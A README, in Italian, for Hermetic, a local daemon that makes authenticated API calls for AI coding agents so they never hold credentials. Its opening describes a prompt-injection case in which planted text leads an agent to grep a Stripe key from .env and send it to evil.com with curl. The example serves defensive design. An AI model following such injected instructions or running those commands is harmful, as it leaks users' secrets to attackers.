hermetic

Il broker di credenziali isolato dall'agente.
Il tuo agente AI effettua la chiamata autenticata. Non vede mai la chiave.

Sito web · Installazione · Avvio rapido · Come funziona · Modello di sicurezza · Segnala una vulnerabilità

[!IMPORTANT] Il tuo agente AI opera al livello ★★★ Brokered: il testo in chiaro delle credenziali non è mai nel contesto dell'agente. Hermetic esegue la chiamata autenticata all'interno di un demone separato e restituisce solo la risposta. L'agente ottiene i dati — mai la chiave.

Il problema

Ogni agente di codifica AI — Claude Code, Cursor, Copilot, Windsurf — esegue comandi shell come il tuo utente. Ogni chiave API nel tuo .env, ogni token nella cronologia della shell, ogni credenziale in ~/.aws/credentials è raggiungibile da qualsiasi codice eseguito dall'agente.

Un'iniezione di prompt in un issue GitHub, un commento di codice o una risposta di errore API può dire all'agente:

1. Trova la tua chiave Stripe   →  cat .env | grep STRIPE
2. Esfiltrala                   →  curl https://evil.com?key=$STRIPE_KEY
3. Non lo saprai mai            →  l'agente continua normalmente

Non è teorico. Gli attacchi alla supply chain già rubano credenziali sotto l'UID dello sviluppatore. Gli agenti AI rendono questa la superficie di attacco predefinita.

La soluzione

Hermetic è un demone locale che effettua chiamate API per conto degli agenti AI in modo che l'agente non tocchi mai le tue credenziali.

   ┌───────────┐   handle    ┌──────────────┐    HTTPS     ┌──────────┐
   │ Agente AI │────────────▶│   Hermetic   │─────────────▶│   API    │
   │           │◀────────────│    Demone    │◀─────────────│  Server  │
   └───────────┘  risposta   └──────────────┘   risposta  └──────────┘

   Memoria dell'agente            Memoria del demone
   ✗ nessuna credenziale          ✓ credenziali (decifrate in-process)
   ✓ handle opaco                 ✓ binding di dominio
   ✓ risposta API                 ✓ log di audit a prova di manomissione

La credenziale non entra mai nello spazio degli indirizzi dell'agente — né in memoria, variabili d'ambiente, file, o output di comando. L'agente ottiene la risposta API e nient'altro.

Installazione

curl -sSf https://hermeticsys.com/install.sh | sh

Un singolo binario statico (Rust, nessuna dipendenza runtime). Niente Docker, niente account cloud, niente telemetria.

git clone https://github.com/hermetic-sys/hermetic.git
cd hermetic && cargo build --release --locked

[!TIP] Verifica il download prima di fidarti — vedi Verifica degli artefatti.

Avvio rapido

hermetic init                 # crea la cassaforte crittografata (scegli una passphrase)
hermetic add                  # procedura guidata interattiva: incolla una chiave, rileva automaticamente il servizio
hermetic start                # avvia il demone indurito
hermetic connect              # collega il tuo agente AI (rileva automaticamente Claude Code / Cursor / …)

# Effettua una chiamata autenticata — la chiave non lascia mai il demone
hermetic request --secret openai_key --url https://api.openai.com/v1/models

hermetic doctor               # conferma che tutto sia sano
hermetic audit                # visualizza ogni operazione eseguita da Hermetic

Su una macchina nuova puoi anche eseguire hermetic senza argomenti — rileva che non c'è ancora una cassaforte e ti offre di guidarti attraverso la configurazione assistita.

Tre modi per usare le credenziali

La maggior parte dei gestori di credenziali ti dà un'opzione: leggi il segreto, poi usalo tu stesso. Hermetic te ne dà tre, ciascuno con una garanzia diversa.

★★★ Brokered — l'agente non lo vede mai

hermetic request --secret openai_key \
  --url https://api.openai.com/v1/chat/completions \
  --method POST --body '{"model":"gpt-4","messages":[...]}'

Il demone inietta la credenziale ed effettua la chiamata HTTPS. L'agente invia un handle opaco e riceve la risposta — esposizione della credenziale: zero. Nessun altro gestore di credenziali fa questo: op/Vault/aws-vault restituiscono tutti il segreto al processo chiamante. Hermetic lo mantiene all'interno di un demone separato.

★★ Transiente — in un processo figlio, poi sparito

hermetic run --secret github_pat --env-var GITHUB_TOKEN -- git push origin main

La credenziale viene iniettata nell'ambiente di un processo figlio generato per la durata di quel singolo comando, poi cancellata. L'agente ottiene il codice di uscita. L'output stdout/stderr del figlio viene scansionato e qualsiasi credenziale trapelata viene oscurata; gli interpreti pericolosi vengono bloccati.

★ Diretto — il tuo terminale, la tua responsabilità

hermetic reveal --secret stripe_key

Stampa la credenziale sul tuo terminale. Protetto da passphrase, limitato in frequenza, registrato nel log di audit — per quando hai genuinamente bisogno di incollare una chiave a mano. Solo CLI; mai esposto come strumento dell'agente.

Hermetic vs. le alternative

Proxy MCP — proteggi le credenziali di ogni server MCP

Ogni server MCP (GitHub, Slack, Jira, Notion) normalmente necessita del suo token in chiaro nella configurazione del tuo IDE. Hermetic funge da proxy per il server MCP e inietta la credenziale dalla cassaforte invece:

{
  "mcpServers": {
    "github": {
      "command": "hermetic",
      "args": [
        "proxy", "--server", "github",
        "--credential", "github_pat:GITHUB_PERSONAL_ACCESS_TOKEN",
        "--",
        "npx", "-y", "@modelcontextprotocol/server-github"
      ]
    }
  }
}

--credential <nome-cassaforte>:<ENV_VAR> risolve il segreto dalla cassaforte e lo inietta nell'ambiente del figlio — nessun token in chiaro nel file di configurazione. Il proxy inoltre scansiona ogni messaggio server→agente per perdite di credenziali, blocca le definizioni degli strumenti (rileva "tiri del tappeto" della supply chain), applica una politica di autorizzazione/negazione per strumento e isola il figlio nel suo gruppo di processi.

Agente SSH — le tue chiavi non lasciano mai la cassaforte

Hermetic parla il protocollo standard dell'agente SSH. Punta SSH_AUTH_SOCK verso di esso e ogni git push, scp, rsync e connessione SSH firma con una chiave dalla cassaforte crittografata — senza estrarla in ~/.ssh/.

hermetic start --ssh-agent
source ~/.hermetic/ssh-agent.env          # aggiungi a .bashrc/.zshrc
hermetic ssh-keygen --type ed25519 --name github-ssh   # generata all'interno della cassaforte
ssh-add -l                                # la tua chiave appare
git push origin main                      # firma tramite il demone

Il demone esegue tutte le firme internamente — i byte della chiave privata non entrano mai nel client SSH. Ed25519, RSA (SHA-256/512) ed ECDSA P-256 supportati; la firma SHA-1 viene rifiutata.

Collega il tuo agente AI

hermetic connect                 # rileva automaticamente il tuo agente e scrive la configurazione MCP
hermetic connect claude-code     # o specificane uno: claude-code · cursor · windsurf · claude-desktop
hermetic connect --list          # elenca gli agenti supportati

Questo registra Hermetic come server MCP. Il tuo agente ottiene quindi questi strumenti — e nessuno strumento restituisce mai un valore di credenziale:

Integrazione OpenClaw

OpenClaw ottiene entrambe le modalità contemporaneamente: il server MCP (★★★ brokered, per l'agente) e un fornitore di esecuzione (per la chiave LLM propria di OpenClaw).

hermetic reveal --set anthropic_key              # tagga l'unico segreto che OpenClaw può leggere
hermetic reveal --configure openclaw --install   # scrive la configurazione MCP + fornitore di esecuzione

Il risolutore del fornitore di esecuzione è hermetic reveal --protocol openclaw — un protocollo nativo che legge una richiesta JSON su stdin ({"ids":[...]}) e scrive una risposta JSON su stdout ({"protocolVersion":1,"values":{...}}), e nient'altro. Ogni rivelazione è protetta da passphrase, limitata in frequenza, e registrata nel log di audit. Il percorso brokered dell'agente usa ancora hermetic_authenticated_request e non vede mai un valore. Flusso completo: Configurazione OpenClaw.

Modello di sicurezza

Hermetic contiene le tue credenziali più sensibili, quindi è indurito contro lo stesso agente che sta cercando di usarle.

Il demone si protegge con tre livelli su ogni connessione:

1. Attestazione binaria      — il demone verifica l'hash del binario che si connette.
                              Uno script Python o un binario sconosciuto viene RIFIUTATO.
2. Mittente per messaggio    — il kernel verifica l'identità del mittente su ogni messaggio.
                              Un processo diverso a metà sessione viene RIFIUTATO.
3. Token vincolati al processo  — un token di sessione rubato da un altro processo viene RIFIUTATO.

In più: segreti bloccati in RAM, dump del core disabilitati, protezione dal dump, solo HTTPS con blocco SSRF e pinning DNS, e un log di audit concatenato HMAC a prova di manomissione (hermetic audit).

[!WARNING] Cosa Hermetic non protegge. Il brokering isola la credenziale dall'agente — non da un processo con lo stesso UID che può eseguire codice come Hermetic stesso. Il kernel non può distinguere codice con lo stesso UID (SO_PEERCRED verifica solo l'UID), quindi l'uso della credenziale è concesso: un processo già in esecuzione come te può guidare chiamate brokered e leggere le risposte. Cosa rimane chiuso anche contro quel processo: il testo in chiaro della credenziale non gli è mai esposto (non esiste un percorso di rivelazione), e la mutazione della cassaforte (aggiungi/ruota/riassocia) richiede una nuova prova di presenza dell'utente — quindi non può rubare la chiave o alterare silenziosamente la cassaforte. L'attestazione binaria inoltre impedisce a un binario non Hermetic di connettersi del tutto. Questo è materialmente più forte dei file env in chiaro o dei portachiavi, che danno a qualsiasi processo con lo stesso UDI la chiave grezza direttamente. Hermetic non è una difesa contro un account utente locale completamente compromesso, attaccanti a livello kernel, o analisi forense della memoria hardware. Documentiamo questo confine in modo prominente perché l'onestà al riguardo fa parte del prodotto.

Vedi SECURITY.md per il modello di minaccia completo, le versioni supportate e come segnalare una vulnerabilità.

Verifica degli artefatti

Ogni rilascio include un SHA256SUMS. Dopo il download, verifica il checksum prima di eseguire:

sha256sum -c SHA256SUMS

La firma GPG dei rilasci (un SHA256SUMS.asc staccato contro un'impronta di chiave pubblicata) è prevista; fino ad allora, il checksum SHA-256 è il controllo di integrità. Per uno strumento di credenziali, verificare il binario che esegui è la base — install.sh lo fa automaticamente per te.

Open Core

Hermetic è open core — siamo espliciti su cosa è e cosa non è open source.

I due crate in questo repository sono AGPL-3.0-or-later e puoi controllarli e compilarli tu stesso. Il binario del demone/CLI del broker è proprietario (livello gratuito + funzionalità Pro a pagamento) — non è open source, e lo diciamo deliberatamente. La sicurezza non è mai bloccata: i binari gratuiti e Pro eseguono codice di sicurezza identico.

Perché c'è così tanto codice?

Potresti costruire "memorizza un segreto, restituiscilo" in poche centinaia di righe. Ma poi qualsiasi script sulla tua macchina potrebbe connettersi al socket e prendere le tue chiavi — esattamente il problema quando gli agenti AI eseguono codice arbitrario come il tuo UDI. La complessità non è la crittografia; è assicurarsi che il processo sbagliato non possa raggiungere ciò che è crittografato: attestazione binaria, verifica del mittente per messaggio, token vincolati al processo, scansione di perdite di credenziali, blocco delle definizioni degli strumenti, blocco SSRF, pinning DNS, liste di blocchi per interpreti e indurimento della memoria. Ogni difesa esiste perché un attacco reale è stato dimostrato senza di essa.

Verifica

Hermetic è convalidato in modo avversario — campagne di red team indipendenti guidate da AI, fuzzing con zero crash, test di mutazione e simulazione di attacchi live contro il demone in esecuzione. Vulnerabilità reali trovate durante i test sono state riprodotte e chiuse permanentemente con difese a livello kernel. Il nucleo crittografico (questo repository) è aperto per revisione indipendente. La storia completa è nel whitepaper.

Documentazione

• Guida introduttiva — da zero alla prima richiesta brokered
• Riferimento CLI — ogni comando e flag
• Integrazione MCP — configurazione dell'agente per ogni piattaforma
• Panoramica sulla sicurezza — livelli di difesa e modello di minaccia
• Integrazione Python — guida Hermetic da Python tramite la CLI

Contributi

Vedi CONTRIBUTING.md. I contributi ai crate open-core richiedono un CLA firmato.

Licenza

Crate open-core (hermetic-core, hermetic-transport): AGPL-3.0-or-later (LICENSE). Il binario Hermetic è proprietario — vedi COMMERCIAL_LICENSE.md o contatta [email protected].